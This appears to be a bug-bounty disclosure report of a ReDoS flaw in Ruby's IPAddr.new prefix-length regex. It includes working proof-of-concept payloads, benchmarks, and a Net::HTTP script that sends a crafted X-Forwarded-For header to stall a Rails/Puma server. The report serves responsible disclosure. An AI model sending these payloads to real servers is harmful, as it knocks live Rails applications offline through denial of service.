Ruby · Report #1485717
ReDoS in IPAddr
How it was found
Hello, I found a pattern that occur ReDoS in IPAddr.new.
https://github.com/ruby/ipaddr/blob/v1.2.4/lib/ipaddr.rb#L525
def mask!(mask)
case mask
when String
case mask
when /\A(0|[1-9]+\d*)\z/
prefixlen = mask.to_i
/\A(0|[1-9]+\d*)\z/ is vulnerable.
It is a detect result by recheck ( https://makenowjust-labs.github.io/recheck/ ).
{F1624909}
https://github.com/ruby/ipaddr/blob/v1.2.4/lib/ipaddr.rb#L628
def initialize(addr = '::', family = Socket::AF_UNSPEC)
...
prefix, prefixlen = addr.split('/', 2)
if prefix =~ /\A(.*)(%\w+)\z/
prefix = $1
zone_id = $2
family = Socket::AF_INET6
end
...
if prefixlen
mask!(prefixlen)
else
@mask_addr = (@family == Socket::AF_INET) ? IN4MASK : IN6MASK
end
end
mask! is used in IPAddr.new.
PoC
❯ ruby -v
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]
❯ irb
irb(main):001:0> require 'time'
=> true
irb(main):002:0> IPAddr.new("0.0.0.0/" + '1' * 50000 + '.')
# => ReDoS (and raise ArgumentError)
It is also used by coerce_other, so it affects other methods as well.
IPAddr.new("192.168.2.0/24").include?("0.0.0.0/" + '1' * 50000 + '.' )
IPAddr.new("192.168.2.0/24") == "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") | "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") & "0.0.0.0/" + '1' * 50000 + '.'
benchmark
ipaddr_benchmark.rb
require 'benchmark'
require 'ipaddr'
def ipaddr_new(length)
text = "0.0.0.0/" + '1' * length + '.'
IPAddr.new(text)
rescue IPAddr::InvalidAddressError
nil
end
Benchmark.bm do |x|
x.report { ipaddr_new(100) }
x.report { ipaddr_new(1000) }
x.report { ipaddr_new(10000) }
x.report { ipaddr_new(100000) }
end
❯ bundle exec ruby ipaddr_benchmark.rb
user system total real
0.000056 0.000003 0.000059 ( 0.000055)
0.002921 0.000003 0.002924 ( 0.002968)
0.300863 0.000694 0.301557 ( 0.302580)
31.050866 0.103006 31.153872 ( 31.255489)
Rails
Since it is used in ActionDispatch::RemoteIp, it is possible to attack using custom headers.
private
def ips_from(header) # :doc:
return [] unless header
# Split the comma-separated list into an array of strings.
ips = header.strip.split(/[,\s]+/)
ips.select do |ip|
# Only return IPs that are valid according to the IPAddr#new method.
range = IPAddr.new(ip).to_range
# We want to make sure nobody is sneaking a netmask in.
range.begin == range.end
rescue ArgumentError
nil
end
end
PoC
create rails server
❯ rails new rails_server -G -M -O -C -A -J -T
❯ cd rails_server
❯ bundle exec rails s
=> Booting Puma
=> Rails 7.0.2.2 application starting in development
=> Run `bin/rails server --help` for more startup options
Puma starting in single mode...
* Puma version: 5.6.2 (ruby 3.1.1-p18) ("Birdie's Version")
* Min threads: 5
* Max threads: 5
* Environment: development
* PID: 13989
* Listening on http://127.0.0.1:3000
* Listening on http://[::1]:3000
ipaddr_request.rb
require 'net/http'
url = URI.parse('http://127.0.0.1:3000/')
req = Net::HTTP::Get.new(url.path)
req['X-Forwarded-For'] = "0.0.0.0/" + '1' * 80000 + '.'
res = Net::HTTP.start(url.host, url.port) {|http|
http.request(req)
}
❯ time bundle exec ruby ipaddr_request.rb
bundle exec ruby ipaddr_request.rb 0.18s user 0.08s system 0% cpu 40.302 total
Impact
ReDoS occurs when IPAddr.new accepts user input.
Rails uses ActionDispatch::RemoteIp by default, so it can be attacked by a request from the client.
If using nginx etc., the header length is limited to about 8k bytes, so it seems to be less affected. ( https://stackoverflow.com/questions/686217/maximum-on-http-header-values )
On the other hand, puma is susceptible because it can be used up to 80 * 1024.